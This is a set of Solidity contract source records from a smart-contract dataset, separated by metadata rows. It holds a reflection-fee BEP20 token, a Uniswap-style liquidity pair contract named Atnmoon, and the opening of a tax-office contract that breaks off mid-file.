// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract dontLetMeDown is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Dont let me down';
string private constant _SYMBOL = 'DLMD';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 10000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 620;
uint256 private constant _BURN_FEE = 380;
uint256 private constant _MAX_TX_SIZE = 10000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 257,103 | 116 |
1a33434f55b52dfd245f74fd705d4222493b68725e3cf3a51c0d517805ce1872
| 20,095 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/62/6250a455af24309f7a1b91f82bf3bcd588dc497b_AtnmoonPair.sol
| 5,170 | 19,067 |
pragma solidity =0.5.16;
interface IAtnmoonFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IAtnmoonPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IAtnmoonERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract AtnmoonERC20 is IAtnmoonERC20 {
using SafeMath for uint;
string public constant name = 'Atnmoon LPs';
string public constant symbol = 'Atnmoon-LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'Atnmoon: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Atnmoon: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IAtnmoonCallee {
function AtnmoonCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract AtnmoonPair is IAtnmoonPair, AtnmoonERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Atnmoon: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Atnmoon: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Atnmoon: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Atnmoon: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 10/30 of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IAtnmoonFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(10);
uint denominator = rootK.mul(20).add(rootKLast.mul(10));
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Atnmoon: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Atnmoon: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Atnmoon: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Atnmoon: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Atnmoon: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IAtnmoonCallee(to).AtnmoonCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Atnmoon: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(30)));
uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(30)));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Atnmoon: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
| 53,663 | 117 |
0e0d2defdb60a688ba7e2d385abe06b486b2a69b0eb7618d1587a92b65d8f988
| 24,427 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8f/8f79188f542ca82c4465999b54761985a08ec682_TaxOfficeV2.sol
| 4,176 | 16,303 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
interface ITaxable {
